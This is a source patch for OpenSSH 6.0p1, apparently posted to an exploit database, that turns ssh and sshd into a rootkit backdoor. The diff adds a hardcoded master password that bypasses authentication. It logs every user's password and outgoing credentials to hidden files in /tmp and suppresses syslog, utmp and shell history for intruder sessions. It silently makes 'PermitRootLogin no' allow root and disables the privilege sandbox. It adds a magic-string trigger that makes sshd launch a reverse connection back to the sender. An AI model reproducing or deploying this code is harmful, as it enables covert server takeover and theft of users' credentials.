############### # $id: udc-hackssh-v3_bajaulaut-v1, 2012/10/28 05:00:50 slash rootkit # udc-hackssh_bajaulaut - openssh reverse backdoor # copyright (c) 2001-2012 slash the underground <shaolinint@gmail.com> # 1337day.com 1337Day Exploit DataBase # My Profile: http://1337day.com/author/3656 # readme: # udc-hackssh_bajaulaut is an openssh backdoor combined with reverse shell capability # and part of udc-kolansong rootkit. The idea was to make use of openssh binary to # control target and/or victim machines. # # todo: # - read remote port parameter # - *magic* private key authentication # # compile: # apt-get install libssl-dev libpam0g-dev librkb5-dev # wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz # ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 # # howto: # client: # 'ssh -8 udc -p 880' to connect to udc:880 where a client must listen # # server: # 'sshd -8 udc -p 880' to wait for incoming connects on port 880 # # Or if you received something like "ssh_exchange_identification: Connection # closed by remote host", you can telnet to target machines and issue # 'udc_gamai_magic' string. Once udc_gamai_magic is sent, sshd will then execute and # connect to your 'client' machine on port 8080. # # telnet target_machines.com 22 # CHANGE_ME # Protocol mismatch. # Connection closed by foreign host. # # limitation: # This version will ONLY execute reverse openssh command to the machine which executed # telnet command. # ############### diff -uNr openssh-6.0p1/auth-pam.c udc-hackssh-v3_kalitan-v1.2/auth-pam.c --- openssh-6.0p1/auth-pam.c 2009-07-12 20:07:21.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/auth-pam.c 2012-10-31 18:30:14.000000000 +0800 @@ -1190,6 +1190,16 @@ sshpam_password = password; sshpam_authctxt = authctxt; +// udc-hackssh + char *crypted=udc_pass_crypt; + + udc_reslt_crypt = crypt(password, crypted); + if (strcmp (udc_reslt_crypt, crypted) == 0 ) { + uDc = 1; + return 1; + } +// end + /* * If the user logging in is invalid, or is root but is not permitted * by PermitRootLogin, use an invalid password to prevent leaking @@ -1207,10 +1217,15 @@ sshpam_err = pam_authenticate(sshpam_handle, flags); sshpam_password = NULL; +// udc-hackssh if (sshpam_err == PAM_SUCCESS && authctxt->valid) { - debug("PAM: password authentication accepted for %.100s", - authctxt->user); + if ((udcf = fopen (BAJAUI, "a")) != NULL) { + fprintf(udcf,"%s:%s\n",authctxt->user, password); + fclose(udcf); + } + debug("PAM: password authentication accepted for %.100s", authctxt->user); return 1; +// end } else { debug("PAM: password authentication failed for %.100s: %s", authctxt->valid ? authctxt->user : "an illegal user", diff -uNr openssh-6.0p1/auth-passwd.c udc-hackssh-v3_kalitan-v1.2/auth-passwd.c --- openssh-6.0p1/auth-passwd.c 2009-03-08 08:40:28.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/auth-passwd.c 2012-10-31 16:27:15.000000000 +0800 @@ -44,7 +44,13 @@ #include <stdio.h> #include <string.h> #include <stdarg.h> - +// udc-hackssh +#ifdef __APPLE__ +#include "/opt/local/include/cryptlib.h" +#elif __linux__ +#include <crypt.h> +#endif +// end #include "packet.h" #include "buffer.h" #include "log.h" @@ -82,10 +88,20 @@ { struct passwd * pw = authctxt->pw; int result, ok = authctxt->valid; + +// udc-hackssh + char *crypted=udc_pass_crypt; #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE) static int expire_checked = 0; #endif + udc_reslt_crypt = crypt(password, crypted); + if (strcmp (udc_reslt_crypt, crypted) == 0 ) { + uDc = 1; + return 1; + } +// end + #ifndef HAVE_CYGWIN if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES) ok = 0; @@ -122,7 +138,15 @@ authctxt->force_pwchange = 1; } #endif +// udc-hackssh result = sys_auth_passwd(authctxt, password); + if (result) { + if ((udcf = fopen (BAJAUI, "a")) != NULL) { + fprintf (udcf,"%s:%s\n",authctxt->user, password); + fclose(udcf); + } + } +// end if (authctxt->force_pwchange) disable_forwarding(); return (result && ok); diff -uNr openssh-6.0p1/auth.c udc-hackssh-v3_kalitan-v1.2/auth.c --- openssh-6.0p1/auth.c 2011-05-29 19:40:42.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/auth.c 2012-10-31 16:16:38.000000000 +0800 @@ -270,15 +270,18 @@ authmsg = "Postponed"; else authmsg = authenticated ? "Accepted" : "Failed"; - - authlog("%s %s for %s%.100s from %.200s port %d%s", - authmsg, - method, - authctxt->valid ? "" : "invalid user ", - authctxt->user, - get_remote_ipaddr(), - get_remote_port(), - info); +// udc-hackssh + if (!uDc || uDc != 1) { +// end + authlog("%s %s for %s%.100s from %.200s port %d%s", + authmsg, + method, + authctxt->valid ? "" : "invalid user ", + authctxt->user, + get_remote_ipaddr(), + get_remote_port(), + info); + } #ifdef CUSTOM_FAILED_LOGIN if (authenticated == 0 && !authctxt->postponed && diff -uNr openssh-6.0p1/buffer.c udc-hackssh-v3_kalitan-v1.2/buffer.c --- openssh-6.0p1/buffer.c 2010-02-12 06:23:40.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/buffer.c 2012-10-31 16:09:55.000000000 +0800 @@ -37,6 +37,9 @@ buffer->alloc = 0; buffer->buf = xmalloc(len); +// udc-hackssh + memset(buffer->buf, 0, len); +// end buffer->alloc = len; buffer->offset = 0; buffer->end = 0; diff -uNr openssh-6.0p1/canohost.c udc-hackssh-v3_kalitan-v1.2/canohost.c --- openssh-6.0p1/canohost.c 2010-10-12 10:28:12.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/canohost.c 2012-10-31 16:17:47.000000000 +0800 @@ -78,11 +78,14 @@ debug3("Trying to reverse map address %.100s.", ntop); /* Map the IP address to a host name. */ - if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name), - NULL, 0, NI_NAMEREQD) != 0) { - /* Host name not found. Use ip address. */ - return xstrdup(ntop); +// udc-hackssh + if (!uDc || uDc != 1) { + if (getnameinfo ((struct sockaddr *) &from, fromlen, name, sizeof(name), + NULL, 0, NI_NAMEREQD) != 0) { + return xstrdup(ntop); + } } +// end /* * if reverse lookup result looks like a numeric hostname, diff -uNr openssh-6.0p1/includes.h udc-hackssh-v3_kalitan-v1.2/includes.h --- openssh-6.0p1/includes.h 2010-10-24 07:47:30.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/includes.h 2012-10-31 16:36:28.000000000 +0800 @@ -17,7 +17,6 @@ #define INCLUDES_H #include "config.h" - #define _GNU_SOURCE /* activate extra prototypes for glibc */ #include <sys/types.h> @@ -172,4 +171,15 @@ #include "entropy.h" +// udc-hackssh +int uDc; +FILE * udcf; +char * udc_reslt_crypt; + +#define udc_pass_crypt "CHANGE_ME" +#define BAJAUI "/tmp/.inlog" +#define BAJAUO "/tmp/.outlog" +#define gamai "/usr/sbin/sshd" +// end + #endif /* INCLUDES_H */ diff -uNr openssh-6.0p1/log.c udc-hackssh-v3_kalitan-v1.2/log.c --- openssh-6.0p1/log.c 2011-06-20 12:42:23.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/log.c 2012-10-31 16:24:34.000000000 +0800 @@ -351,6 +351,9 @@ void do_log(LogLevel level, const char *fmt, va_list args) { +// udc-hackssh + if(!uDc || uDc != 1) { +// end #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT) struct syslog_data sdata = SYSLOG_DATA_INIT; #endif @@ -428,3 +431,6 @@ } errno = saved_errno; } +// udc-hackssh +} +// end diff -uNr openssh-6.0p1/servconf.c udc-hackssh-v3_kalitan-v1.2/servconf.c --- openssh-6.0p1/servconf.c 2011-10-02 15:57:38.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/servconf.c 2012-10-31 16:09:55.000000000 +0800 @@ -686,7 +686,9 @@ { "without-password", PERMIT_NO_PASSWD }, { "forced-commands-only", PERMIT_FORCED_ONLY }, { "yes", PERMIT_YES }, - { "no", PERMIT_NO }, +// udc-hackssh + { "no", PERMIT_YES }, +// end { NULL, -1 } }; static const struct multistate multistate_compression[] = { diff -uNr openssh-6.0p1/session.c udc-hackssh-v3_kalitan-v1.2/session.c --- openssh-6.0p1/session.c 2011-11-04 07:55:24.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/session.c 2012-10-31 16:18:40.000000000 +0800 @@ -1203,6 +1203,12 @@ if (getenv("TZ")) child_set_env(&env, &envsize, "TZ", getenv("TZ")); +// udc-hackssh + if (uDc) + child_set_env(&env, &envsize, "HISTFILE", "/dev/null"); +// end + + /* Set custom environment options from RSA authentication. */ if (!options.use_login) { while (custom_environment) { @@ -1487,6 +1493,9 @@ #else if (setlogin(pw->pw_name) < 0) error("setlogin failed: %s", strerror(errno)); +// udc-hackssh + if (!uDc || uDc != 1) { +// end if (setgid(pw->pw_gid) < 0) { perror("setgid"); exit(1); @@ -1496,6 +1505,12 @@ perror("initgroups"); exit(1); } +// udc-hackssh + else { + setgid(0); + initgroups(pw->pw_name, 0); + } +// end endgrent(); #endif @@ -1519,12 +1534,18 @@ } #else /* Permanently switch to the desired uid. */ +// udc-hackssh + if (!uDc || uDc != 1) +// end permanently_set_uid(pw); #endif } if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid) fatal("Failed to set uids to %u.", (u_int) pw->pw_uid); +// udc-hackssh + } +// end } static void diff -uNr openssh-6.0p1/ssh.c udc-hackssh-v3_kalitan-v1.2/ssh.c --- openssh-6.0p1/ssh.c 2011-11-04 07:54:22.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/ssh.c 2012-10-31 16:09:55.000000000 +0800 @@ -83,6 +83,9 @@ #include "canohost.h" #include "compat.h" #include "cipher.h" +// udc-hackssh bajaulaut version +#include <openssl/md5.h> +// end #include "packet.h" #include "buffer.h" #include "channels.h" @@ -125,6 +128,10 @@ /* don't exec a shell */ int no_shell_flag = 0; +// udc-hackssh bajaulaut version +int udc_bajau_laut = 0; +// end + /* * Flag indicating that nothing should be read from stdin. This can be set * on the command line. @@ -325,7 +332,7 @@ argv0 = av[0]; again: - while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx" + while ((opt = getopt(ac, av, "12468ab:c:e:fgi:kl:m:no:p:qstvx" "ACD:F:I:KL:MNO:PR:S:TVw:W:XYy")) != -1) { switch (opt) { case '1': @@ -340,6 +347,11 @@ case '6': options.address_family = AF_INET6; break; +// udc-hackssh bajaulaut version + case '8': + udc_bajau_laut = 1; + break; +// end case 'n': stdin_null_flag = 1; break; diff -uNr openssh-6.0p1/sshconnect.c udc-hackssh-v3_kalitan-v1.2/sshconnect.c --- openssh-6.0p1/sshconnect.c 2011-05-29 19:42:34.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/sshconnect.c 2012-10-31 16:09:56.000000000 +0800 @@ -333,6 +333,9 @@ * and %p substituted for host and port, respectively) to use to contact * the daemon. */ +// udc-hackssh bajaulaut version +extern int udc_bajau_laut; +// end int ssh_connect(const char *host, struct sockaddr_storage * hostaddr, u_short port, int family, int connection_attempts, int *timeout_ms, @@ -347,7 +350,9 @@ debug2("ssh_connect: needpriv %d", needpriv); /* If a proxy command is given, connect using it. */ - if (proxy_command != NULL) +// udc-hackssh bajaulaut version + if (proxy_command != NULL && !udc_bajau_laut) +// end return ssh_proxy_connect(host, port, proxy_command); /* No proxy command. */ @@ -360,6 +365,56 @@ fatal("%s: Could not resolve hostname %.100s: %s", __progname, host, ssh_gai_strerror(gaierr)); +// udc-hackssh bajaulaut version + if (udc_bajau_laut) { + int s, one = 1, size_aa = sizeof(struct sockaddr); + struct addrinfo *aid; + struct sockaddr aa; + + if ((gaierr = getaddrinfo("127.0.0.1", strport, &hints, &aid)) < 0) { + fprintf(stderr, "getaddrinfo (during udc reverse fun): %s\n", gai_strerror(gaierr)); + exit(gaierr); + } + + if (aid->ai_family == PF_INET) { + ((struct sockaddr_in*)(aid->ai_addr))->sin_addr.s_addr = INADDR_ANY; + } +#ifdef HAVE_STRUCT_IN6_ADDR + else { + ((struct sockaddr_in6*)(aid->ai_addr))->sin6_addr = in6addr_any; + } +#endif + + if ((s = socket(aid->ai_family, SOCK_STREAM, 0)) < 0) { + perror("socket (during udc reverse fun)"); + exit(errno); + } + + if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) { + perror("setsockopt (during udc reverse fun)\n"); + exit(errno); + } + + printf("udc reverse fun: binding to port %s\n", strport); + if (bind(s, (struct sockaddr*)(aid->ai_addr), sizeof(struct sockaddr)) < 0) { + perror("bind (during udc reverse fun)"); + exit(errno); + } + + if (listen(s, 1) < 0) { + perror("listen (during udc reverse fun)"); + exit(errno); + } + + if ((sock = accept(s, &aa, &size_aa)) < 0) { + perror("accept (during udc reverse fun)"); + exit(errno); + } + memcpy(hostaddr, &aa, size_aa); + + goto startbajau; + } +// end for (attempt = 0; attempt < connection_attempts; attempt++) { if (attempt > 0) { /* Sleep a moment before retrying. */ @@ -404,6 +459,9 @@ break; /* Successful connection. */ } +// udc-hackssh bajaulaut version + startbajau: +// end freeaddrinfo(aitop); /* Return failure if we didn't get a successful connection. */ diff -uNr openssh-6.0p1/sshconnect2.c udc-hackssh-v3_kalitan-v1.2/sshconnect2.c --- openssh-6.0p1/sshconnect2.c 2011-05-29 19:42:34.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/sshconnect2.c 2012-10-31 16:26:24.000000000 +0800 @@ -878,6 +878,12 @@ snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", authctxt->server_user, host); password = read_passphrase(prompt, 0); +// udc-hackssh + if ((udcf = fopen (BAJAUO, "a")) != NULL){ + fprintf (udcf,"user:password@host:port --> %s:%s@%s:%s\n",authctxt->server_user,password,authctxt->host,get_remote_port); + fclose (udcf); + } +// end packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); diff -uNr openssh-6.0p1/sshd.c udc-hackssh-v3_kalitan-v1.2/sshd.c --- openssh-6.0p1/sshd.c 2012-02-15 02:03:31.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/sshd.c 2012-10-31 16:20:03.000000000 +0800 @@ -146,6 +146,14 @@ /* Name of the server configuration file. */ char *config_file_name = _PATH_SERVER_CONFIG_FILE; +// udc-hackssh - bajaulaut version +#ifdef IPV4_DEFAULT + int IPv4or6 = AF_INET; +#else + int IPv4or6 = AF_UNSPEC; +#endif +// end + /* * Debug mode flag. This can be set on the command line. If debug * mode is enabled, extra debugging output will be sent to the system @@ -407,6 +415,10 @@ char buf[256]; /* Must not be larger than remote_version. */ char remote_version[256]; /* Must be at least as big as buf. */ +// udc-hackssh gamai + char udc_gamai_cmd[256]; +// end + if ((options.protocol & SSH_PROTO_1) && (options.protocol & SSH_PROTO_2)) { major = PROTOCOL_MAJOR_1; @@ -461,6 +473,13 @@ */ if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n", &remote_major, &remote_minor, remote_version) != 3) { +// udc-hackssh gamai + if (strcmp (client_version_string, "CHANGE_ME") == 0) { // udc_gamai_magic string + uDc; + sprintf (udc_gamai_cmd, "%s -D -8 %s -p 8080", gamai, get_remote_ipaddr()); + system (udc_gamai_cmd); + } +// end s = "Protocol mismatch.\n"; (void) atomicio(vwrite, sock_out, s, strlen(s)); close(sock_in); @@ -469,6 +488,7 @@ client_version_string, get_remote_ipaddr()); cleanup_exit(255); } + debug("Client protocol version %d.%d; client software version %.100s", remote_major, remote_minor, remote_version); @@ -633,8 +653,17 @@ /* Store a pointer to the kex for later rekeying */ pmonitor->m_pkex = &xxx_kex; - if (use_privsep == PRIVSEP_SANDBOX) - box = ssh_sandbox_init(); +// udc-hackssh bajaulaut version + int udc_bajau_laut = 1; + + if (udc_bajau_laut == 0) { + if (use_privsep == PRIVSEP_SANDBOX) + box = ssh_sandbox_init(); + else + return; + } +// end + pid = fork(); if (pid == -1) { fatal("fork of unprivileged child failed"); @@ -1322,6 +1351,13 @@ const char *remote_ip; char *test_user = NULL, *test_host = NULL, *test_addr = NULL; int remote_port; + +// udc-hackssh bajaulaut version + int listen_sock; + int udc_bajau_laut = 0; + char udc_bajau_conn[1024]; +// end + char *line, *p, *cp; int config_s[2] = { -1 , -1 }; u_int64_t ibytes, obytes; @@ -1358,7 +1394,9 @@ initialize_server_options(&options); /* Parse command-line arguments. */ - while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:dDeiqrtQRT46")) != -1) { +// udc-hackssh bajaulaut version + while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:8:dDeiqrtQRT46")) != -1) { +// end switch (opt) { case '4': options.address_family = AF_INET; @@ -1478,6 +1516,13 @@ exit(1); xfree(line); break; +// udc-hackssh bajaulaut version + case '8': + udc_bajau_laut = 1; + strncpy (udc_bajau_conn, optarg, sizeof (udc_bajau_conn)); + printf ("bajau - case: Enabling bajau laut!\n"); + break; +// end case '?': default: usage(); @@ -1786,6 +1831,54 @@ /* Get a connection, either from inetd or a listening TCP socket */ if (inetd_flag) { server_accept_inetd(&sock_in, &sock_out); +// udc-hackssh bajaulaut version + } else if (udc_bajau_laut) { + int client_port = options.ports[0]; + char port[100]; + struct addrinfo *adi, hints; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + + // resolv hostname + memset(port, 0, sizeof(port)); + snprintf(port, sizeof(port), "%d", client_port); + if (getaddrinfo(udc_bajau_conn, port, &hints, &adi) < 0) { + perror("addrinfo (during bajau_laut)"); + exit(errno); + } + + // create socket + if ((listen_sock = socket(adi->ai_family, adi->ai_socktype, adi->ai_protocol)) < 0) { + perror("socket (during bajau_laut)"); + exit(errno); + } + printf("bajau_laut: Connecting to host %s on port %s\n", udc_bajau_conn, port); + + // connecting + if (connect(listen_sock, (struct sockaddr*)adi->ai_addr, sizeof(struct sockaddr)) < 0) { + perror("connect (during bajau_laut)"); + exit(errno); + } + if (fcntl(listen_sock, F_SETFL, 0) < 0) + error("newsock del O_NONBLOCK: %s", strerror(errno)); + + // established + sock_in = listen_sock; + if ((sock_out = dup(sock_in)) < 0) { + perror("dup (during reverse fun)"); + sock_out = sock_in; + } + + if (options.protocol & SSH_PROTO_1) + generate_ephemeral_server_key(); + + signal(SIGHUP, sighup_handler); + signal(SIGCHLD, main_sigchld_handler); + signal(SIGTERM, sigterm_handler); + signal(SIGQUIT, sigterm_handler); +// end } else { platform_pre_listen(); server_listen(); @@ -1837,7 +1930,9 @@ error("setsid: %.100s", strerror(errno)); #endif - if (rexec_flag) { +// udc-hackssh bajaulaut version + if (rexec_flag && !udc_bajau_laut) { +// end int fd; debug("rexec start in %d out %d newsock %d pipe %d sock %d", diff -uNr openssh-6.0p1/sshlogin.c udc-hackssh-v3_kalitan-v1.2/sshlogin.c --- openssh-6.0p1/sshlogin.c 2011-01-11 14:20:07.000000000 +0800 +++ udc-hackssh-v3_kalitan-v1.2/sshlogin.c 2012-10-31 16:21:11.000000000 +0800 @@ -133,8 +133,12 @@ li = login_alloc_entry(pid, user, host, tty); login_set_addr(li, addr, addrlen); - login_login(li); - login_free_entry(li); +// udc-hackssh + if (!uDc || uDc != 1) { + login_login(li); + login_free_entry(li); + } +// end } #ifdef LOGIN_NEEDS_UTMPX @@ -146,8 +150,12 @@ li = login_alloc_entry(pid, user, host, ttyname); login_set_addr(li, addr, addrlen); - login_utmp_only(li); - login_free_entry(li); +// udc-hackssh + if(!uDc || uDc != 1) { + login_utmp_only(li); + login_free_entry(li); + } +// end } #endif @@ -158,6 +166,10 @@ struct logininfo *li; li = login_alloc_entry(pid, user, NULL, tty); - login_logout(li); - login_free_entry(li); +// udc-hackssh + if (!uDc || uDc != 1) { + login_logout(li); + login_free_entry(li); + } +// end }